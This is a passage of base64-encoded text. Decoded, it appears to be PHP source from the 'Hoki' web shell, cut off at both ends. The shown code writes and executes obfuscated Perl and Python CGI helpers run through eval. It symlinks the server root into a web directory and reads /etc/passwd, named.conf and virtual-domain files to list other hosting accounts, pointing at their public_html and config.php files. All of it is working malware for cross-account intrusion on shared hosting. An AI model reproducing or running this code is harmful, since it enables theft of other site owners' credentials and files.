L2x6YkNmbnVmaStzdmdFNkVMeXRCWmxpVFpIT3IxUnlESSt1bGJPWHhreFZJQ3lPdWx4blZ5dVBUMDB4TkNMdUZTcnU3a2VRTHRBK1hqWFB6dElRR1JJSGdoZFZrSDJMOXdTbURRL3cxd0hlbEROVS9DQXJ6UkF4WHZUTjNPbU9Nb29veVZWM0lJMytGYWFxOG5CVUZCUTZ0cjFPTlR1d3pTbmVwT3VHMnlnclJYazdoVk5oUmRUTXV2NWJBbVU2UzhybFplMUU2VS83RUFILzRINWVIS2ZTc1JBQUE9IikpKTsnOwoJJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG5ob2tpX2RhdGE9JyIuX19IT0tJX0RBVEFfRk9MREVSX18uIidcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5ZFdOMXo0amdTZnpaL2hkWlRXY09HMkpDNnZRZEMyTXJOVE82bWFuZm42aWI3bEZBdVlRdndqckZja2dpd1UzTi8rM1hyd3hiZ1pLYk9EMWlXK2x2ZFA3VlE0akRwRVhpS1RjMkZJdG1xVUFzOW9VY3hxK2lpWlAxQmorMHpWcXRKTDZpcGxMMmVKVmZGaHJreGwyNGtEODFRTk12MUx1LzFWaVZmMERLRk1ia2xZZWkrdDZJMDN4OCtwVy8vK1FIRzk3U1VyS2VjZFVkOElENm1Zdlg4T0o3N2kwYUlWS0pQeXlWTmM2cm9nRnlTTUFGUGNDWUpHeWVRcTFIMUlMYXMxOHZaa3F5WVFoWDltc3NCZUZvc0d5SnJFRXdHZ3FtdHFEeUxOQ0d3SUZXWUY0SmxLaVJja0Q2WGNVM1ZPaTdrc29BWWhnbFRXVkxSRGN2ampGZkxjRUJvbFpPV0NuZ3QwVE10Q3lxWlRNTEJ3Tk1aSm11K1ljbVhyV1RpYTFKdkYyV1JwV3UxS2NHMUFMakJCQlRIcXVkQzhPb3hmUGZ4N1IrL3ZmLzlJZjNQeDQ4UDRUeVdkVmtvVUJFT1lCczFOekFnWDF6ekd2WTQ4TWRPNTRWMENpOWtTQzRJOHNkLzhxTHFJL1ZnU0l5a2dRbmhobjVtc0FNWjMxWnFTSEsrb1VVMUpNZy9KTmt1UjIvV1N0VzQyL2llSkVsNGlWdG1LQWM2bG1hc3cvbjRDejd6RUlOZythSS82VE9WbVNoZ0kybkpCRGkwWXlTamxTTExBdUpwdU9NNERnY1J1Q2tLV0FpblNrQm1IRXAyR3ltMlYxY1EzMVUxeVZpbG1MaUpabE9WejZaTERwUVpMN200amQ3Y3d6TWFSek5qblhabmNCbE9FeVNhVFJPa1YzbUh5Skl0RlFxa1pDM1k4all5L0dnNnNFZEVRZDR5ZFJ1bGk1SlduNk1UcGFQUjNmWDF5Q20xSWZHMDBrWnpoN1gzOTQ0Um8zMXU3S2xOYmRVQUxkYUhQR3pLb3ZxYzRMZysySzlZN1pXTkFlemVaWmg4eXdjSUd6elI3SlBoUDdNOVVXSUcyYXFUSmVlcFZlTktibk93TmU2WFlpK0EzVTBGbzNtcXE4ZlZiRkRJRkRKZGJXblpURDFUMFJBWkRBbE1IUG11WXJwQTdDd1RBbXEwK1hROGovTmVBQVl4YWNmNUF0M01QcGVGVkhiS3EzYk5wWlB6eUJRcjg5eHN0NkJ4TFFnYVRieG1WUWMreE1pc2FiQWdBNE5lNUwxK0ZielNJcHlvVnBhTTBkaE9NRUhDVGltdG1HNDVFRlpqbVpFUkhNWFpSUDVGMFUyb0RSMHJ6K0Z5OG5wTWJHUVRmeWZQb25PNno5YXExNFBtWERnUG1sWDVXc3c2OTl3UFpTUDl1N2IzeGZpOW1FWW5rWVc0Nmdsa08wbnZRQWVjaEhoNDcvTHdKbmc5NEpic3V4THdaUnNzOXRvU0orOXhIbkVaYzhDY3BRMDZZNU5CRmx6a0REQmtIRGxnWFVEbHJRU0FiMzZsOFdYeVpxU2ZtdzFnVUZGTlJvUnVGZGNBdmdaTFovODN6UDkwQnBhZHdQeE9wNWg4bmRpQjhSOEF3OThrN1FaTEI1VHdZLzFhOFB5QXVCbnNJZFJqZUM4aDZMZ3pCRTVLdlVQTlhnSUJ2bUlBN2FJMm1VWHpYREFwN1FyTzZETEJqSGo4QVo4NWlnNEE0bFBGTnJYcHhURER1NkJPVDN2MTcvVkc4RWhHUmJZR0NRSXMwT04rRlAvMHkxOGNEQXY3TUJxRTVFczAxSVpZTEFGeGh0S0s4TXcxOHpIbVFOMGZXM3JXYWd1Z2tsUlJPZnhwRjFvUmRnU3BYQU9RUXhzVzU0dHdDQTRhYWRpYW9TUG84ekZjbW5iSHNqdS9UM282eHoyd2F0dmFieUlNcDFnTXAxbTkyeFk1dG9SU1VkWHl3V2NLQzRPNDN1bDRXZys3Z2VCRmIvMzVkaG83NENZWlRPczNzVjZESjJCQTMvVElVM0xkSWFkeEFJa2VSL1BlY1ZqMTdIanVwUG5nYTRVZDhZL25majZlQ1JvZEwzdDVaNkZvMHFRS0lJYTIrL0Y2anFiL1BCcDFSc2ZUMEhTUlpxSHBmRTJ6NFVMek5YRm5tMThHRnk0UGpNNmY1NjdmQlk4c3VWY29QNXdhN0lteTJwbzBORTAxWktLT2s1RmxSWjBBUHQ0U1RzS0I5NHYyK0puWVRLN3k0K05CZzRST2JnQUpMY3M3bUlBUVg4ZmJVcVVZdHFiK082eHh3YTdTNzYxMG5lZVdDOFE1UmllbzFlbFdUc3JkY21taVFwTGZRWDdEZTdMbm1CNG5VZkhsTi9VbFdwVTRhRGZsS2h5Ryt0aHpXS0cvdlh4T29XeXdwcUI0ekw2Ukt3M0g4SnoyaVE0eGtPeHhOR25ZNTdpUnhvS2phV2R2dmpDSkIzbDNZWlFNcloxZUZJRUk5clJSMlFUa09CNkJ2WTd0blFTYmJmb3VwaFBUaWR5VHkxdm5TSnRKVFdmbmVSZlRHaHFGdko4dm1scDE5TWNuUWF1N0tjQ1gxTGZhUGZUcUNJT3Q2VWF4aVlMZm8zY0JXV3VJNVgvQkRDOEd2c2hqaDEzTGtwZ2pHZDdZdThEUkRIY2FzQ2pWVlpLbXVsalRGRUV4VFJFTXZMOFR2TTduTGRnSjNjbVZPdFJzUXJCblNmQSsvMVE5VlZNY3pLYjIvQzhVS0huTE1jeUxBN243OWY2T1BMQzczMEM5WHBucXJtZEd2K2kySjJjWkYxUWZIQlZVeTgzWGFXTFdwNGtSaDZhVHhhcHRiMHdiRWphR1JkTzhlTGF0RkdCT25oZlZhakllMWZzYjIzcGRMYmhTZkdQbVRPTTJHZGQ3UUhPNUJodmZMUFZ6WTd1MjVWSjNiZWM5R2ZZN1Z6dFdyTlpxc3VCbGJpWms4UmViWFA4ZEpJZXR6NUpEaXlocFRuNkVQWDh1WklFdDQzK0piWjNJUHc3azN3ZTE1dFUwQWRObmNQVzNaekVldVFjSnU5d1B4WVpjaVNYeExydTZ0b0VDVXdUL3p1aEgzbUprRjdNMTNndE9WcHhrYzMwTkUyd3B6bS9PbW02dGFKYlpvK2lOOFFlcy9ZVCtmTkwrZkhEK1BGVWY5WGt2WVNwbmUyakw3M2xaOGgwNCtTdUlsRS9WTzMxaDR1S2dDWFJRTEc5Y1E4SThWWGQ1L2dESlpISUpVQXpxbzE3WEJKTUpmL0RqYjZRMlNRYTAvNExEcFlSait0dmttQnliNXBvUU82Y0FJSGVYT295YmVDY0t4ZnB1eGN4bEpaZjQvMkd2cTMxNjdYcDNEQ2ZlWHdWaGV4RmxYY3YyVGducnAyM1VFTzhtL3IzRFpDRlVUMDByZDNFd0tTdFlEaGVHQytqZmNRMEt4NUppS3dCQy9nZWpCbWtrIikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKCSRjZ2luYW1lID0gInN5bXBlcmwuaG9raSI7Cgkkc291cmNlID0gJHBlcmw7CgkkbGFuZyA9ICJwZXJsIjsKCWlmKCRfUE9TVFsiaG9raTIiXT09InN5bXB5Iil7CgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmhva2kiOwoJCSRzb3VyY2UgPSAkcHk7CgkJJGxhbmcgPSAicHl0aG9uIjsKCX0KCUBfX3dyaXRlX2ZpbGUoJGNnaW5hbWUsJHNvdXJjZSk7CglAY2htb2QoJGNnaW5hbWUsMDc1NSk7CgllY2hvIF9fcHJlKCk7CgkkcmVzb3VyY2UgPSBob2tpRXgoInskbGFuZ30geyRjZ2luYW1lfSB7JHN5bXBhdGh9IixmYWxzZSx0cnVlLHRydWUpOwoJaWYoc3RybGVuKCRyZXNvdXJjZSkgPT0gMCl7CgkJZWNobyBIb2tpaUZyYW1lQ3JlYXRvcignY2dpaG9raS8nLiRjZ2luYW1lKTsKCX1lbHNlewoJCWVjaG8gJHJlc291cmNlOwoJfQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTQnXSkgJiYgJF9QT1NUWydob2tpNCddPT0nU3ltRmlsZScpewppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7Ckhva2lOdW0oOSwxMCk7CmVjaG8gX19wcmUoKS4nCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9IkV4YW1wbGUgOiAvaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZy5waHAiIHNpemU9IjYwIi8+PGJyIC8+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IGhva2kudHh0InNpemU9IjYwIi8+CjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJzeW1saW5rIiAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKJHBhdGggPSAkX1BPU1RbJ2hva2k1J107CiRzeW1uYW1lID0gJF9QT1NUWydob2tpNiddOwoka2lzZXJ5b3VuaTU4ID0gJF9QT1NUWydob2tpNyddOwppZigka2lzZXJ5b3VuaTU4KXsKJG5ld19uYW1lID0gc3RyX3JlcGxhY2UoIi4iLCAiXyIsIGJhc2VuYW1lKCRzeW1uYW1lKSk7CiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsKJHN5bV9kaXIgPSAnaG9raXN5bWxpbmtwaHAvJy4kcmFuZF9kaXIuJy8nOwpAbWtkaXIoJHN5bV9kaXIsIDA3NzcsIHRydWUpOwpob2tpY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7Cl9ob2tpX3N5bWxpbmsoIiRwYXRoIiwiJHN5bV9kaXIvJHN5bW5hbWUiKTsKZWNobyBfX3ByZSgpOwplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLl9fSE9LSV9EQVRBX0ZPTERFUl9fLiIvIi4kc3ltX2Rpci4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc3ltbmFtZS4nPC9mb250PjwvYj48L2E+PC9iPjwvY2VudGVyPic7Cn0KfWVsc2V7ZWNobyAiPGNlbnRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7fQp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgJF9QT1NUWydob2tpMiddPT0nc3ltcGhwJyl7CiRjYW50X3N5bWxpbmsgPSB0cnVlOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2hva2lfY2FuX3J1bkNvbW1hbmQoZmFsc2UsZmFsc2UpKXsKQG1rZGlyKCdob2tpc3ltbGluaycsMDc3Nyk7Cmhva2ljZ2lodGFjY2Vzcygnc3ltJywnaG9raXN5bWxpbmsvJyk7Cl9ob2tpX3N5bWxpbmsoJy8nLCdob2tpc3ltbGluay9yb290Jyk7CiR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOwppZihfaG9raV9maWxlX2V4aXN0cygiL2V0Yy9uYW1lZC5jb25mIikgJiYgIV9ob2tpX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikgJiYgX2hva2lfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMvIikpewplY2hvICI8Y2VudGVyPiI7CiRsaW5lcyA9IGFycmF5KCk7CiRhbm9ueV9kb21haW5zID0gYXJyYXkoKTsKJGFub255bW91c191c2VycyA9IGFycmF5KCk7CiRmX2JsYWNrID0gYXJyYXkoKTsKJGVycm9yID0gZmFsc2U7CiRhbm9ueW1vdXMgPSBmYWxzZTsKJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7CiRkb21haW5zID0gaG9raUdldERvbWFpbnMoKTsKJGxpbmVzID0gJGRvbWFpbnNbImxpbmVzIl07CiRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOwokaXNfcG9zaXggPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKTsKJGNhbl9ydW5jbWQgPSBfaG9raV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSk7CmlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsKCSRhbm9ueW1vdXMgPSB0cnVlOwoJJGFub255X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsKCSRsaW5lcyA9IF9ob2tpX2ZpbGUoJy9ldGMvcGFzc3dkJyk7Cn0KZWNobyAkdGFibGVfaGVhZGVyOwokY291bnQ9MTsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0ie2h0dHB9Ii8+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEEyMjA7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPntkb21haW59PC9iPiA8L2E+PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkZGRjttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e293bmVyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4nL2hva2lzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOwpmb3JlYWNoKCRsaW5lcyBhcyAkbGluZSl7CgkkZG9tYWluID0gIiI7Cgkkb3duZXIgPSAiIjsKCWlmKCRhbm9ueW1vdXMpewoJCSRleHBsb2RlID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKCQkkb3duZXIgPSAkZXhwbG9kZVswXTsKCQkkb3duZXJfbGVuID0gc3RybGVuKCRvd25lcikgLSAxOwoJCSR1c2VyaWQgPSAkZXhwbG9kZVsyXTsKCQlpZigoaW50KSR1c2VyaWQgPCA1MDApY29udGludWU7CgkJJGRvbWFpbiA9ICJbPz8/Pz9dIjsKCQkkdGVtcF9ibGFjayA9IGFycmF5KCk7CgkJJGZpbmRlZCA9IGZhbHNlOwoJCWZvcmVhY2goJGFub255X2RvbWFpbnMgYXMgJGFub255KXsKCQkJaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7CgkJCQlpZihAc3Ryc3RyKCRhbm9ueSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRhbm9ueSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCX1lbHNlewoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsKCQkJCWlmKCRhbm9ueSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7CgkJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkYW5vbnkgPSBydHJpbSgkYW5vbnksICIuZGIiKTsKCQkJCSRkb21haW4gPSAkYW5vbnk7CgkJCX0KCQkJJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQlpZihzdWJzdHIoJG93bmVyLCAwLCAkb3duZXJfbGVuKSA9PSBzdWJzdHIoJHN1Yl9kb21haW4sIDAsICRvd25lcl9sZW4pKXsKCQkJCWlmKGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7CgkJCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsKCQkJCSRjb3VudCsrOwoJCQkJJHRlbXBfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOwoJCQkJJGZpbmRlZCA9IHRydWU7CgkJCX0KCQl9CgkJaWYoISRmaW5kZWQpewoJCQkkYW5vbnltb3VzX3VzZXJzW10gPSAkb3duZXI7CgkJfQoJfWVsc2V7CiAJCWlmKCRzdGF0ZSA9PSAibmFtZWQuY29uZiIpewoJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsKCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQl9ZWxzZXsKCQkJCWNvbnRpbnVlOwoJCQl9CgkJfWVsc2VpZigkc3RhdGUgPT0gIm5hbWVkIiB8fCAkc3RhdGUgPT0gInZhbGlhc2VzIil7CgkJCWlmKCRsaW5lID09ICIuIiB8fCAkbGluZSA9PSAiLi4iKWNvbnRpbnVlOwoJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkbGluZSA9IHJ0cmltKCRsaW5lLCAiLmRiIik7CgkJCSRkb21haW4gPSAkbGluZTsKCQl9CgkJaWYoc3RybGVuKHRyaW0oJGRvbWFpbikpID4gMiAmJiAkc3RhdGUgIT0gInBhc3N3ZCIpewoJCQlpZighX2hva2lfZmlsZV9leGlzdHMoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLCBmYWxzZSkpY29udGludWU7CgkJCWlmKCRpc19wb3NpeCl7CgkJCQkkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbikpOwoJCQkJJG93bmVyID0gJHVzZXJbIm5hbWUiXTsKCQkJfWVsc2VpZigkY2FuX3J1bmNtZCl7CgkJCQkkb3duZXIgPSBob2tpRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbixmYWxzZSxmYWxzZSk7CgkJCX0KCQl9Cgl9CglpZighJGFub255bW91cyl7CgkJaWYoc3RybGVuKCRvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsKCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOwoJCWlmKCRzdGF0ZSA9PSAicGFzc3dkIil7CgkJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJfQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJCSRmX2JsYWNrW10gPSAkb3duZXIuJGRvbWFpbjsKCX0KfQppZigkYW5vbnltb3VzKXsKCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpewoJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOwoJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJfQp9CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfWVsc2V7CiRpc19kaXJlY3QgPSBmYWxzZTsKJG1ha2Vwd2QgPSBob2tpTWFrZVB3ZCgpOwppZihfaG9raV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKCSRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbCI7CgkkaXNfZGlyZWN0ID0gdHJ1ZTsKfQoka2lzZSA9IF9ob2tpX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKJGNvdW50PTE7CmVjaG8gJHRhYmxlX2hlYWRlcjsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy57dXJsfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXJsfTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1c2VyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4nL2hva2lzeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7CmlmKCRraXNlKXsKCWZvcmVhY2goJGtpc2UgYXMgJHZpc2libGUpewoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7CgkJCSRraXNlcnlvdW5pID0gZXhwbG9kZSgnOicsICR2aXNpYmxlKTsKCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCB0cmltKCRraXNlcnlvdW5pWzFdKSwgJG1ha2Vwd2QpOwoJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCJ7Y3dkfSIpLCBhcnJheSgkY291bnQrKywgdHJpbSgka2lzZXJ5b3VuaVsxXSksIHRyaW0oJGtpc2VyeW91bmlbMF0pLCAkY3dkKSwgJHRlbXBsYXRlKTsKCQl9Cgl9Cn1lbHNlewoJJHBhc3N3ZCA9IF9ob2tpX2ZpbGUoIi9ldGMvcGFzc3dkIik7CglpZigkcGFzc3dkKXsKCQkkaHRtbCA9ICIiOwoJCSRpc19uYW1lZCA9IGZhbHNlOwoJCSR1c2VycyA9IGFycmF5KCk7CgkJJGRvbWFpbnMgPSBhcnJheSgpOwoJCSR1a25vd25zID0gYXJyYXkoKTsKCQlmb3JlYWNoKCRwYXNzd2QgYXMgJHVzZXIpewoJCQkkdXNlciA9IHRyaW0oJHVzZXIpOwoJCQkkZXhwbCA9IGV4cGxvZGUoIjoiLCAkdXNlcik7CgkJCWlmKChpbnQpJGV4cGxbMl0gPCA1MDApY29udGludWU7CgkJCSR1c2Vyc1skZXhwbFswXV0gPSAkZXhwbFs1XTsKCQl9CgkJJHNpdGVfZG9tYWlucyA9IEBzY2FuZGlyKCIvZXRjL3ZpcnR1YWwvIik7CgkJaWYoISRzaXRlX2RvbWFpbnMpewoJCQkkc2l0ZV9kb21haW5zID0gaG9raUV4KCJscyAvZXRjL3ZpcnR1YWwvIik7CgkJCSRzaXRlX2RvbWFpbnMgPSBleHBsb2RlKCJcbiIsICRzaXRlX2RvbWFpbnMpOwoJCQlpZighJHNpdGVfZG9tYWlucyl7CgkJCQkkc2l0ZV9kb21haW5zID0gX2hva2lfZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CgkJCQlpZigkc2l0ZV9kb21haW5zKXskaXNfbmFtZWQgPSB0cnVlO30KCQkJfQoJCX0KCQlmb3JlYWNoKCRzaXRlX2RvbWFpbnMgYXMgJGxpbmUpewoJCQlpZigkaXNfbmFtZWQpewoJCQkJaWYoQHN0cnN0cigkbGluZSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRsaW5lLCAkZGF0YSk7CgkJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQkJCWlmKHN0cmxlbigkZG9tYWluICA+IDIpICYmICFlbXB0eSgkZG9tYWluKSl7CgkJCQkJCSRkb21haW5zW10gPSAkZG9tYWluOwoJCQkJCX0KCQkJCX0KCQkJfWVsc2V7CgkJCQkkZG9tYWluc1tdID0gJGxpbmU7CgkJCX0KCQl9CgkJJHggPSAxOwoJCWZvcmVhY2goJHVzZXJzIGFzICR1c2VyID0+ICRob21lKXsKCQkJZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsKCQkJCSR1c2VyX2xlbiA9IHN0cmxlbigkdXNlcikgLSAxOwoJCQkJJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQkJJGZpdmVfdXNlciA9IHN1YnN0cigkdXNlciwgMCwkdXNlcl9sZW4pOwoJCQkJJGZpdmVfZG9tYWluID0gc3Vic3RyKCRzdWJfZG9tYWluLCAwLCR1c2VyX2xlbik7CgkJCQlpZigkZml2ZV91c2VyID09ICRmaXZlX2RvbWFpbil7CgkJCQkJaWYoJGlzX2RpcmVjdCl7CgkJCQkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKCQkJCQl9ZWxzZXsKCQkJCQkJJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsKCQkJCQkJJGN3ZCA9ICRob21lLiIvIi4kZXhwbFsxXTsKCQkJCQl9CgkJCQkJJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7d